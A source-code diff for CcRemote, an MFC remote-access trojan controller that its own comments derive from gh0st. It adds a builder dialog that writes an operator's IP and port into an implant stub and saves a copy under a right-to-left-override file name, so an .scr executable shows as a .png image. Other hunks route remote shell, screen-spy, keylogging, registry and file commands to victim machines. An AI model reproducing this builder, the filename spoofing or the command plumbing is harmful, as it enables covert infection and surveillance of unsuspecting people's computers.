|
||||
IMPLEMENT_DYNAMIC(CBuildDlg, CDialog)
|
||||
|
||||
CBuildDlg::CBuildDlg(CWnd* pParent /*=nullptr*/)
|
||||
: CDialog(IDD_DIALOG_BUILD, pParent)
|
||||
, m_strIP(_T(""))
|
||||
, m_strPort(_T(""))
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
CBuildDlg::~CBuildDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CBuildDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialog::DoDataExchange(pDX);
|
||||
DDX_Text(pDX, IDC_EDIT_IP, m_strIP);
|
||||
DDX_Text(pDX, IDC_EDIT_PORT, m_strPort);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CBuildDlg, CDialog)
|
||||
ON_BN_CLICKED(IDOK, &CBuildDlg::OnBnClickedOk)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CBuildDlg 消息处理程序
|
||||
|
||||
|
||||
bool CreateMyFile(const WCHAR* strFilePath, LPBYTE lpBuffer, DWORD dwSize)
|
||||
{
|
||||
DWORD dwWritten;
|
||||
|
||||
HANDLE hFile = CreateFileW(strFilePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
|
||||
if (hFile != NULL)
|
||||
{
|
||||
WriteFile(hFile, (LPCVOID)lpBuffer, dwSize, &dwWritten, NULL);
|
||||
}
|
||||
else
|
||||
{
|
||||
return false;
|
||||
}
|
||||
CloseHandle(hFile);
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
void CBuildDlg::OnBnClickedOk()
|
||||
{
|
||||
// TODO: 在此添加控件通知处理程序代码
|
||||
CFile file;
|
||||
char strTemp[MAX_PATH];
|
||||
WCHAR strTempW[MAX_PATH];
|
||||
ZeroMemory(strTemp, MAX_PATH);
|
||||
CString strCurrentPath;
|
||||
CStringW strCurrentPathW;
|
||||
CString strFile;
|
||||
CString strSeverFile;
|
||||
CString strCamouflageFile;
|
||||
BYTE *lpBuffer = NULL;
|
||||
BYTE names[] = {0x73,0x00,0x65,0x00,0x78,0x00,0x2E,0x20,0x67,0x00,0x6E,0x00,0x70,0x00,0x2E,0x00,0x73,0x00,0x63,0x00,0x72,0x00,0x00,0x00 };
|
||||
PWCHAR namess = (PWCHAR)names;
|
||||
|
||||
|
||||
DWORD dwFileSize;
|
||||
UpdateData(TRUE);
|
||||
//////////上线信息//////////////////////
|
||||
strcpy(g_myAddress.strIP, m_strIP);
|
||||
g_myAddress.nPort = atoi(m_strPort);
|
||||
try
|
||||
{
|
||||
//此处得到未处理前的文件名
|
||||
GetModuleFileName(NULL, strTemp, MAX_PATH); //得到文件名
|
||||
GetModuleFileNameW(NULL, strTempW, MAX_PATH); //得到文件名
|
||||
|
||||
strCurrentPathW = strTempW;
|
||||
|
||||
strCurrentPathW = strCurrentPathW.Left(strCurrentPathW.ReverseFind('\\'));
|
||||
|
||||
strCurrentPath = strTemp;
|
||||
int nPos = strCurrentPath.ReverseFind('\\');
|
||||
strCurrentPath = strCurrentPath.Left(nPos);
|
||||
strFile = strCurrentPath + "\\server\\loder.exe"; //得到当前未处理文件名
|
||||
//打开文件
|
||||
file.Open(strFile, CFile::modeRead | CFile::typeBinary);
|
||||
dwFileSize = file.GetLength();
|
||||
lpBuffer = new BYTE[dwFileSize];
|
||||
ZeroMemory(lpBuffer, dwFileSize);
|
||||
//读取文件内容
|
||||
file.Read(lpBuffer, dwFileSize);
|
||||
file.Close();
|
||||
//写入上线IP和端口 主要是寻找0x这个标识然后写入这个位置
|
||||
int nOffset = memfind((char*)lpBuffer, (char*)&g_myAddress.dwstact, dwFileSize, sizeof(DWORD));
|
||||
memcpy(lpBuffer + nOffset, &g_myAddress, sizeof(Connect_Address));
|
||||
//strCamouflageFile = FindFiles("F:\\myapp\\CcRemote\\bin\\server\\", lpBuffer, dwFileSize);
|
||||
//if (strCamouflageFile != "null")
|
||||
//{
|
||||
// int a = file.Open(strCamouflageFile, CFile::typeBinary | CFile::modeCreate | CFile::modeWrite);
|
||||
// file.Write(lpBuffer, dwFileSize);
|
||||
// file.Close();
|
||||
//}
|
||||
//else
|
||||
//{
|
||||
//保存到文件
|
||||
strSeverFile = strCurrentPath+"\\server.exe";
|
||||
|
||||
strCurrentPathW = strCurrentPathW + L"\\" + namess;
|
||||
CreateMyFile(strCurrentPathW, lpBuffer, dwFileSize);
|
||||
file.Open(strSeverFile, CFile::typeBinary | CFile::modeCreate | CFile::modeWrite);
|
||||
file.Write(lpBuffer, dwFileSize);
|
||||
file.Close();
|
||||
//}
|
||||
|
||||
delete[] lpBuffer;
|
||||
MessageBox("生成成功");
|
||||
|
||||
}
|
||||
catch (CMemoryException* e)
|
||||
{
|
||||
MessageBox("内存不足");
|
||||
}
|
||||
catch (CFileException* e)
|
||||
{
|
||||
MessageBox("文件操作错误");
|
||||
}
|
||||
catch (CException* e)
|
||||
{
|
||||
MessageBox("未知错误");
|
||||
}
|
||||
CDialog::OnOK();
|
||||
}
|
||||
|
||||
|
||||
int CBuildDlg::memfind(const char *mem, const char *str, int sizem, int sizes)
|
||||
{
|
||||
int da, i, j;
|
||||
if (sizes == 0) da = strlen(str);
|
||||
else da = sizes;
|
||||
for (i = 0; i < sizem; i++)
|
||||
{
|
||||
for (j = 0; j < da; j++)
|
||||
if (mem[i + j] != str[j]) break;
|
||||
if (j == da) return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
30
CcRemote/CcRemote/CBuildDlg.h
Normal file
@@ -0,0 +1,30 @@
|
||||
#pragma once
|
||||
|
||||
|
||||
// CBuildDlg 对话框
|
||||
|
||||
class CBuildDlg : public CDialog
|
||||
{
|
||||
DECLARE_DYNAMIC(CBuildDlg)
|
||||
|
||||
public:
|
||||
CBuildDlg(CWnd* pParent = nullptr); // 标准构造函数
|
||||
virtual ~CBuildDlg();
|
||||
|
||||
// 对话框数据
|
||||
#ifdef AFX_DESIGN_TIME
|
||||
enum { IDD = IDD_DIALOG_BUILD };
|
||||
#endif
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
afx_msg void OnBnClickedOk();
|
||||
// IP变量
|
||||
CString m_strIP;
|
||||
// 端口变量
|
||||
CString m_strPort;
|
||||
private:
|
||||
int memfind(const char *mem, const char *str, int sizem, int sizes);
|
||||
};
|
44
CcRemote/CcRemote/CHelpWindow.cpp
Normal file
@@ -0,0 +1,44 @@
|
||||
// CHelpWindow.cpp: 实现文件
|
||||
//
|
||||
|
||||
#include "pch.h"
|
||||
#include "CcRemote.h"
|
||||
#include "CHelpWindow.h"
|
||||
#include "afxdialogex.h"
|
||||
|
||||
|
||||
// CHelpWindow 对话框
|
||||
|
||||
IMPLEMENT_DYNAMIC(CHelpWindow, CDialogEx)
|
||||
|
||||
CHelpWindow::CHelpWindow(CWnd* pParent /*=nullptr*/)
|
||||
: CDialogEx(IDD_DIALOG_HELP, pParent)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
CHelpWindow::~CHelpWindow()
|
||||
{
|
||||
}
|
||||
|
||||
void CHelpWindow::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialogEx::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_STATIC_HELP, m_PicHelp);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CHelpWindow, CDialogEx)
|
||||
ON_STN_CLICKED(IDC_STATIC_HELP, &CHelpWindow::OnStnClickedStaticHelp)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CHelpWindow 消息处理程序
|
||||
|
||||
|
||||
|
||||
void CHelpWindow::OnStnClickedStaticHelp()
|
||||
{
|
||||
// TODO: 在此添加控件通知处理程序代码
|
||||
ShellExecute(NULL, "open", "explorer.exe", "https://github.com/Cc28256/CcRemote", NULL, SW_SHOW);
|
||||
}
|
26
CcRemote/CcRemote/CHelpWindow.h
Normal file
@@ -0,0 +1,26 @@
|
||||
#pragma once
|
||||
|
||||
|
||||
// CHelpWindow 对话框
|
||||
|
||||
class CHelpWindow : public CDialogEx
|
||||
{
|
||||
DECLARE_DYNAMIC(CHelpWindow)
|
||||
|
||||
public:
|
||||
CHelpWindow(CWnd* pParent = nullptr); // 标准构造函数
|
||||
virtual ~CHelpWindow();
|
||||
|
||||
// 对话框数据
|
||||
#ifdef AFX_DESIGN_TIME
|
||||
enum { IDD = IDD_DIALOG_HELP };
|
||||
#endif
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
CStatic m_PicHelp;
|
||||
afx_msg void OnStnClickedStaticHelp();
|
||||
};
|
@@ -170,10 +170,6 @@ void CShellDlg::AddKeyBoardData(void)
|
||||
m_edit.ReplaceSel(strResult);
|
||||
//重新得到字符的大小
|
||||
m_nCurSel = m_edit.GetWindowTextLength();
|
||||
//现在我们基本弄明白了 数据传输到主控端后的处理
|
||||
//那主控端的数据时怎样传递到服务端上的呢??
|
||||
//我们注意到,我们在使用远程终端时 ,发送的每一个命令行 都有一个换行符 就是一个回车
|
||||
//要找到这个回车的处理我们就要到PreTranslateMessage函数的定义
|
||||
}
|
||||
|
||||
|
||||
@@ -197,8 +193,8 @@ BOOL CShellDlg::PreTranslateMessage(MSG* pMsg)
|
||||
m_edit.GetWindowText(str);
|
||||
//加入换行符
|
||||
str += "\r\n";
|
||||
//注意gh0st是怎样得到当前的数据的 得到整个的缓冲区再加上原有的字符的位置,其实就是用户当前输入的数据了
|
||||
//然后将数据发送出去。。。。。。。。。。。。。。。 整个分析就完毕了。。。。。。
|
||||
//gh0st得到当前的数据
|
||||
//然后将数据发送出去
|
||||
m_iocpServer->Send(m_pContext, (LPBYTE)str.GetBuffer(0) + m_nCurSel, str.GetLength() - m_nCurSel);
|
||||
m_nCurSel = m_edit.GetWindowTextLength();
|
||||
}
|
||||
|
@@ -209,9 +209,11 @@
|
||||
<ClInclude Include="..\..\common\Audio.h" />
|
||||
<ClInclude Include="..\..\common\macros.h" />
|
||||
<ClInclude Include="CAudioDlg.h" />
|
||||
<ClInclude Include="CBuildDlg.h" />
|
||||
<ClInclude Include="CcRemote.h" />
|
||||
<ClInclude Include="CcRemoteDlg.h" />
|
||||
<ClInclude Include="CFileManagerDlg.h" />
|
||||
<ClInclude Include="CHelpWindow.h" />
|
||||
<ClInclude Include="CKeyBoardDlg.h" />
|
||||
<ClInclude Include="CServerDlg.h" />
|
||||
<ClInclude Include="FileTransferModeDlg.h" />
|
||||
@@ -240,9 +242,11 @@
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="CAudioDlg.cpp" />
|
||||
<ClCompile Include="CBuildDlg.cpp" />
|
||||
<ClCompile Include="CcRemote.cpp" />
|
||||
<ClCompile Include="CcRemoteDlg.cpp" />
|
||||
<ClCompile Include="CFileManagerDlg.cpp" />
|
||||
<ClCompile Include="CHelpWindow.cpp" />
|
||||
<ClCompile Include="CKeyBoardDlg.cpp" />
|
||||
<ClCompile Include="CServerDlg.cpp" />
|
||||
<ClCompile Include="FileTransferModeDlg.cpp" />
|
||||
@@ -297,6 +301,7 @@
|
||||
<Image Include="res\cmdshell.ico" />
|
||||
<Image Include="res\dword.ico" />
|
||||
<Image Include="res\file_ico.ico" />
|
||||
<Image Include="res\help_window.bmp" />
|
||||
<Image Include="res\keyboard.ico" />
|
||||
<Image Include="res\liset_online_pic.bmp" />
|
||||
<Image Include="res\list_online_pic.bmp" />
|
||||
|
@@ -102,6 +102,12 @@
|
||||
<ClInclude Include="CKeyBoardDlg.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="CHelpWindow.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="CBuildDlg.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="CcRemote.cpp">
|
||||
@@ -167,6 +173,12 @@
|
||||
<ClCompile Include="CKeyBoardDlg.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="CHelpWindow.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="CBuildDlg.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="CcRemote.rc">
|
||||
@@ -284,5 +296,8 @@
|
||||
<Image Include="res\keyboard.ico">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\help_window.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
</ItemGroup>
|
||||
</Project>
|
@@ -39,6 +39,7 @@ public:
|
||||
// 实现
|
||||
protected:
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
};
|
||||
|
||||
CAboutDlg::CAboutDlg() : CDialogEx(IDD_ABOUTBOX)
|
||||
@@ -91,6 +92,8 @@ BEGIN_MESSAGE_MAP(CCcRemoteDlg, CDialogEx)
|
||||
ON_MESSAGE(WM_OPENSERVERDIALOG, OnOpenServerDialog)
|
||||
ON_MESSAGE(WM_OPENREGEDITDIALOG, OnOpenRegEditDialog)
|
||||
ON_MESSAGE(WM_OPENKEYBOARDDIALOG, OnOpenKeyBoardDialog)
|
||||
ON_MESSAGE(WM_REMOVEFROMLIST, OnRemoveFromList)
|
||||
|
||||
|
||||
//-------------系统-------------
|
||||
ON_WM_SYSCOMMAND()
|
||||
@@ -132,7 +135,7 @@ void CALLBACK CCcRemoteDlg::NotifyProc(LPVOID lpParam, ClientContext *pContext,
|
||||
case NC_CLIENT_CONNECT:
|
||||
break;
|
||||
case NC_CLIENT_DISCONNECT:
|
||||
//g_pConnectView->PostMessage(WM_REMOVEFROMLIST, 0, (LPARAM)pContext);
|
||||
g_pCcRemoteDlg->PostMessage(WM_REMOVEFROMLIST, 0, (LPARAM)pContext); // 当服务端断开或出错响应
|
||||
break;
|
||||
case NC_TRANSMIT:
|
||||
break;
|
||||
@@ -240,7 +243,8 @@ BOOL CCcRemoteDlg::OnInitDialog()
|
||||
//----------------------------------------|
|
||||
ListenPort(); // 监听端口
|
||||
Test();
|
||||
isTrue = 0;
|
||||
isOnlineIcoTrue = 0;
|
||||
isMessageIcoTrue = 0;
|
||||
return TRUE; // 除非将焦点设置到控件,否则返回 TRUE
|
||||
}
|
||||
|
||||
@@ -321,18 +325,18 @@ void CCcRemoteDlg::OnSize(UINT nType, int cx, int cy)
|
||||
if (m_CList_Online.m_hWnd != NULL)
|
||||
{
|
||||
CRect rc;
|
||||
rc.left = 1; //列表的左坐标
|
||||
rc.top = 80; //列表的上坐标
|
||||
rc.right = cx - 1; //列表的右坐标
|
||||
rc.bottom = cy - 160; //列表的下坐标
|
||||
rc.left = 1; // 列表的左坐标
|
||||
rc.top = 80; // 列表的上坐标
|
||||
rc.right = cx - 1; // 列表的右坐标
|
||||
rc.bottom = cy - 160; // 列表的下坐标
|
||||
m_CList_Online.MoveWindow(rc);
|
||||
|
||||
for (int i = 0; i < COLUMN_ONLINE_COUNT; i++) { //遍历每一个列
|
||||
double dd = m_Column_Online_Data[i].nWidth; //得到当前列的宽度
|
||||
dd /= m_Column_Online_Width; //看一看当前宽度占总长度的几分之几
|
||||
dd *= dcx; //用原来的长度乘以所占的几分之几得到当前的宽度
|
||||
int lenth = dd; //转换为int 类型
|
||||
m_CList_Online.SetColumnWidth(i, (lenth)); //设置当前的宽度
|
||||
for (int i = 0; i < COLUMN_ONLINE_COUNT; i++) { // 遍历每一个列
|
||||
double dd = m_Column_Online_Data[i].nWidth; // 得到当前列的宽度
|
||||
dd /= m_Column_Online_Width; // 看一看当前宽度占总长度的几分之几
|
||||
dd *= dcx; // 用原来的长度乘以所占的几分之几得到当前的宽度
|
||||
int lenth = dd; // 转换为int 类型
|
||||
m_CList_Online.SetColumnWidth(i, (lenth)); // 设置当前的宽度
|
||||
}
|
||||
|
||||
|
||||
@@ -341,18 +345,18 @@ void CCcRemoteDlg::OnSize(UINT nType, int cx, int cy)
|
||||
if (m_CList_Message.m_hWnd != NULL)
|
||||
{
|
||||
CRect rc;
|
||||
rc.left = 1; //列表的左坐标
|
||||
rc.top = cy - 156; //列表的上坐标
|
||||
rc.right = cx - 1; //列表的右坐标
|
||||
rc.bottom = cy - 20; //列表的下坐标
|
||||
rc.left = 1; // 列表的左坐标
|
||||
rc.top = cy - 156; // 列表的上坐标
|
||||
rc.right = cx - 1; // 列表的右坐标
|
||||
rc.bottom = cy - 20; // 列表的下坐标
|
||||
m_CList_Message.MoveWindow(rc);
|
||||
|
||||
for (int i = 0; i < COLUMN_MESSAGE_COUNT; i++) { //遍历每一个列
|
||||
double dd = m_Column_Message_Data[i].nWidth; //得到当前列的宽度
|
||||
dd /= m_Column_Message_Width; //看一看当前宽度占总长度的几分之几
|
||||
dd *= dcx; //用原来的长度乘以所占的几分之几得到当前的宽度
|
||||
int lenth = dd; //转换为int 类型
|
||||
m_CList_Message.SetColumnWidth(i, (lenth)); //设置当前的宽度
|
||||
for (int i = 0; i < COLUMN_MESSAGE_COUNT; i++) { // 遍历每一个列
|
||||
double dd = m_Column_Message_Data[i].nWidth; // 得到当前列的宽度
|
||||
dd /= m_Column_Message_Width; // 看一看当前宽度占总长度的几分之几
|
||||
dd *= dcx; // 用原来的长度乘以所占的几分之几得到当前的宽度
|
||||
int lenth = dd; // 转换为int 类型
|
||||
m_CList_Message.SetColumnWidth(i, (lenth)); // 设置当前的宽度
|
||||
}
|
||||
}
|
||||
|
||||
@@ -383,10 +387,10 @@ void CCcRemoteDlg::OnSize(UINT nType, int cx, int cy)
|
||||
int CCcRemoteDlg::InitMyMenu()
|
||||
{
|
||||
HMENU hmenu;
|
||||
hmenu = LoadMenu(NULL, MAKEINTRESOURCE(IDR_MENU_MAIN)); //载入菜单资源
|
||||
hmenu = LoadMenu(NULL, MAKEINTRESOURCE(IDR_MENU_MAIN)); // 载入菜单资源
|
||||
|
||||
::SetMenu(this->GetSafeHwnd(), hmenu); //为窗口设置菜单
|
||||
::DrawMenuBar(this->GetSafeHwnd()); //显示菜单
|
||||
::SetMenu(this->GetSafeHwnd(), hmenu); // 为窗口设置菜单
|
||||
::DrawMenuBar(this->GetSafeHwnd()); // 显示菜单
|
||||
|
||||
int enum_ico[] = { IDB_BITMAP_ENUM_SHELL ,
|
||||
IDB_BITMAP_ENUM_PROCESS,
|
||||
@@ -399,9 +403,9 @@ int CCcRemoteDlg::InitMyMenu()
|
||||
IDB_BITMAP_ENUM_REGIST,
|
||||
IDB_BITMAP_ENUM_QUIT };
|
||||
|
||||
popup.LoadMenu(IDR_MENU_ONLINE);//载入菜单资源
|
||||
popup.LoadMenu(IDR_MENU_ONLINE); // 载入菜单资源
|
||||
m_IconBitmap.LoadBitmap(IDB_BITMAP_ENUM_REGIST);
|
||||
CMenu *pSubMenu = popup.GetSubMenu(0);//获得子菜单(如果有)0表示索引,对应“文件”菜单
|
||||
CMenu *pSubMenu = popup.GetSubMenu(0); // 获得子菜单(如果有)0表示索引,对应“文件”菜单
|
||||
for (int i = 0; i < 10; i++)
|
||||
{
|
||||
CBitmap bmp;
|
||||
@@ -413,7 +417,7 @@ int CCcRemoteDlg::InitMyMenu()
|
||||
CBitmap bmp;
|
||||
CBrush m_BKBrush;
|
||||
bmp.LoadBitmap(IDB_BITMAP_LOGO);
|
||||
m_BKBrush.CreatePatternBrush(&bmp);//创建位图画刷
|
||||
m_BKBrush.CreatePatternBrush(&bmp); // 创建位图画刷
|
||||
MENUINFO mnInfo;
|
||||
memset(&mnInfo, 0, sizeof(MENUINFO));
|
||||
mnInfo.cbSize = sizeof(MENUINFO);
|
||||
@@ -445,13 +449,13 @@ int CCcRemoteDlg::InitList()
|
||||
|
||||
m_CList_Message.SetTextBkColor(CLR_NONE);
|
||||
m_CList_Message.SetBkColor(CLR_NONE);
|
||||
//m_CList_Message.SetTextColor(RGB(255, 0, 0));
|
||||
// m_CList_Message.SetTextColor(RGB(255, 0, 0));
|
||||
|
||||
//设置list可选中
|
||||
// 设置list可选中
|
||||
m_CList_Online.SetExtendedStyle(LVS_EX_FULLROWSELECT);
|
||||
m_CList_Message.SetExtendedStyle(LVS_EX_FULLROWSELECT);
|
||||
|
||||
//计算控件宽度
|
||||
// 计算控件宽度
|
||||
for (int i = 0; i < COLUMN_ONLINE_COUNT; i++)
|
||||
{
|
||||
m_CList_Online.InsertColumn(i, m_Column_Online_Data[i].title, LVCFMT_LEFT, m_Column_Online_Data[i].nWidth);
|
||||
@@ -469,9 +473,9 @@ int CCcRemoteDlg::InitList()
|
||||
|
||||
void CCcRemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing, ClientContext*pContext)
|
||||
{
|
||||
m_CList_Online.InsertItem(0, strIP); //默认为0行 这样所有插入的新列都在最上面
|
||||
m_CList_Online.SetItemText(0, ONLINELIST_ADDR, strAddr); //设置列的显示字符 这里 ONLINELIST_ADDR等 为第二节课中的枚举类型 用这样的方法
|
||||
m_CList_Online.SetItemText(0, ONLINELIST_COMPUTER_NAME, strPCName); //解决问题会避免以后扩展时的冲突
|
||||
m_CList_Online.InsertItem(0, strIP); // 默认为0行 这样所有插入的新列都在最上面
|
||||
m_CList_Online.SetItemText(0, ONLINELIST_ADDR, strAddr); // 设置列的显示字符 这里 ONLINELIST_ADDR等 为第二节课中的枚举类型 用这样的方法
|
||||
m_CList_Online.SetItemText(0, ONLINELIST_COMPUTER_NAME, strPCName); // 解决问题会避免以后扩展时的冲突
|
||||
m_CList_Online.SetItemText(0, ONLINELIST_OS, strOS);
|
||||
m_CList_Online.SetItemText(0, ONLINELIST_CPU, strCPU);
|
||||
m_CList_Online.SetItemText(0, ONLINELIST_VIDEO, strVideo);
|
||||
@@ -498,7 +502,7 @@ void CCcRemoteDlg::ShowMessage(bool bIsOK, CString strMsg)
|
||||
|
||||
|
||||
CString strStatusMsg;
|
||||
if (strMsg.Find("上线") > 0) //处理上线还是下线消息
|
||||
if (strMsg.Find("上线") > 0) // 处理上线还是下线消息
|
||||
{
|
||||
m_OnlineCount++;
|
||||
}
|
||||
@@ -510,9 +514,9 @@ void CCcRemoteDlg::ShowMessage(bool bIsOK, CString strMsg)
|
||||
{
|
||||
m_OnlineCount--;
|
||||
}
|
||||
m_OnlineCount = (m_OnlineCount <= 0 ? 0 : m_OnlineCount); //防止iCount 有-1的情况
|
||||
m_OnlineCount = (m_OnlineCount <= 0 ? 0 : m_OnlineCount); // 防止iCount 有-1的情况
|
||||
strStatusMsg.Format("已连接: %d", m_OnlineCount);
|
||||
m_wndStatusBar.SetPaneText(0, strStatusMsg); //在状态条上显示文字
|
||||
m_wndStatusBar.SetPaneText(0, strStatusMsg); // 在状态条上显示文字
|
||||
|
||||
}
|
||||
|
||||
@@ -521,10 +525,6 @@ void CCcRemoteDlg::Test()
|
||||
{
|
||||
|
||||
ShowMessage(true, "软件初始化成功...");
|
||||
//AddList("192.168.0.1", "本机局域网", "CHANG", "Windows7", "2.2GHZ", "有", "123232");
|
||||
//AddList("192.168.10.1", "本机局域网", "WANG", "Windows10", "2.2GHZ", "无", "111111");
|
||||
//AddList("192.168.18.25", "本机局域网", "LIU", "Windows8", "2.2GHZ", "有", "654321");
|
||||
//AddList("192.168.97.162", "本机局域网", "SHANG", "WindowsXP", "2.2GHZ", "无", "123456");
|
||||
|
||||
}
|
||||
|
||||
@@ -533,25 +533,25 @@ void CCcRemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
|
||||
LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
|
||||
// TODO: 在此添加控件通知处理程序代码
|
||||
|
||||
CMenu* pM = popup.GetSubMenu(0);//得到菜单项
|
||||
CMenu* pM = popup.GetSubMenu(0); // 得到菜单项
|
||||
CPoint p;
|
||||
GetCursorPos(&p);//得到鼠标指针的位置
|
||||
int count = pM->GetMenuItemCount();//得到菜单的个数
|
||||
if (m_CList_Online.GetSelectedCount() == 0) //如果没有选中
|
||||
GetCursorPos(&p); // 得到鼠标指针的位置
|
||||
int count = pM->GetMenuItemCount(); // 得到菜单的个数
|
||||
if (m_CList_Online.GetSelectedCount() == 0) // 如果没有选中
|
||||
{
|
||||
for (int i = 0; i < count; i++) //遍历每一个菜单
|
||||
{
|
||||
pM->EnableMenuItem(i, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); //菜单全部变灰
|
||||
pM->EnableMenuItem(i, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); // 菜单全部变灰
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
for (int i = 0; i < count; i++) //遍历每一个菜单
|
||||
for (int i = 0; i < count; i++) // 遍历每一个菜单
|
||||
{
|
||||
pM->EnableMenuItem(i, MF_BYPOSITION | MF_ENABLED ); //菜单可用
|
||||
pM->EnableMenuItem(i, MF_BYPOSITION | MF_ENABLED ); // 菜单可用
|
||||
}
|
||||
}
|
||||
pM->TrackPopupMenu(TPM_LEFTALIGN, p.x, p.y, this); //在指定位置显示菜单
|
||||
pM->TrackPopupMenu(TPM_LEFTALIGN, p.x, p.y, this); // 在指定位置显示菜单
|
||||
*pResult = 0;
|
||||
}
|
||||
|
||||
@@ -560,7 +560,7 @@ void CCcRemoteDlg::OnOnlineAudio()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
// MessageBox("声音");
|
||||
BYTE bToken = COMMAND_AUDIO; //向服务端发送命令
|
||||
BYTE bToken = COMMAND_AUDIO; // 向服务端发送命令
|
||||
SendSelectCommand(&bToken, sizeof(BYTE));
|
||||
|
||||
}
|
||||
@@ -578,7 +578,7 @@ void CCcRemoteDlg::OnOnlineCmd()
|
||||
void CCcRemoteDlg::OnOnlineDesktop()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
BYTE bToken = COMMAND_SCREEN_SPY; //向服务端发送COMMAND_SCREEN_SPY CKernelManager::OnReceive搜之
|
||||
BYTE bToken = COMMAND_SCREEN_SPY; // 向服务端发送COMMAND_SCREEN_SPY CKernelManager::OnReceive搜之
|
||||
SendSelectCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
@@ -586,7 +586,7 @@ void CCcRemoteDlg::OnOnlineDesktop()
|
||||
void CCcRemoteDlg::OnOnlineFile()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
BYTE bToken = COMMAND_LIST_DRIVE; //服务端中COMMAND_LIST_DRIVE
|
||||
BYTE bToken = COMMAND_LIST_DRIVE; // 服务端中COMMAND_LIST_DRIVE
|
||||
SendSelectCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
@@ -594,7 +594,7 @@ void CCcRemoteDlg::OnOnlineFile()
|
||||
void CCcRemoteDlg::OnOnlineProcess()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
BYTE bToken = COMMAND_SYSTEM; //赋值一个宏 然后发送到服务端,到服务端搜索COMMAND_SYSTEM
|
||||
BYTE bToken = COMMAND_SYSTEM; // 赋值一个宏 然后发送到服务端,到服务端搜索COMMAND_SYSTEM
|
||||
SendSelectCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
@@ -602,6 +602,7 @@ void CCcRemoteDlg::OnOnlineProcess()
|
||||
void CCcRemoteDlg::OnOnlineRegist()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
|
||||
BYTE bToken = COMMAND_REGEDIT;
|
||||
SendSelectCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
@@ -610,7 +611,7 @@ void CCcRemoteDlg::OnOnlineRegist()
|
||||
void CCcRemoteDlg::OnOnlineServer()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
BYTE bToken = COMMAND_SERVICES; //赋值一个宏 然后发送到服务端,服务端COMMAND_SYSTEM
|
||||
BYTE bToken = COMMAND_SERVICES; // 赋值一个宏 然后发送到服务端,服务端COMMAND_SYSTEM
|
||||
SendSelectCommand(&bToken, sizeof(BYTE));
|
||||
}
|
||||
|
||||
@@ -634,12 +635,12 @@ void CCcRemoteDlg::OnOnlineWindow()
|
||||
void CCcRemoteDlg::OnOnlineDelete()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
CString strIP;//选择断开的IP
|
||||
int iSelect = m_CList_Online.GetSelectionMark();//获得选中的行
|
||||
strIP = m_CList_Online.GetItemText(iSelect, ONLINELIST_IP);//获取断开的IP字符串
|
||||
m_CList_Online.DeleteItem(iSelect);//删除该列表项
|
||||
CString strIP;// 选择断开的IP
|
||||
int iSelect = m_CList_Online.GetSelectionMark();// 获得选中的行
|
||||
strIP = m_CList_Online.GetItemText(iSelect, ONLINELIST_IP);// 获取断开的IP字符串
|
||||
m_CList_Online.DeleteItem(iSelect);// 删除该列表项
|
||||
strIP += " 由主机主动断开连接";
|
||||
ShowMessage(true, strIP);//显示日志
|
||||
ShowMessage(true, strIP);// 显示日志
|
||||
}
|
||||
|
||||
|
||||
@@ -661,14 +662,19 @@ void CCcRemoteDlg::OnMainClose()
|
||||
void CCcRemoteDlg::OnMainBuild()
|
||||
{
|
||||
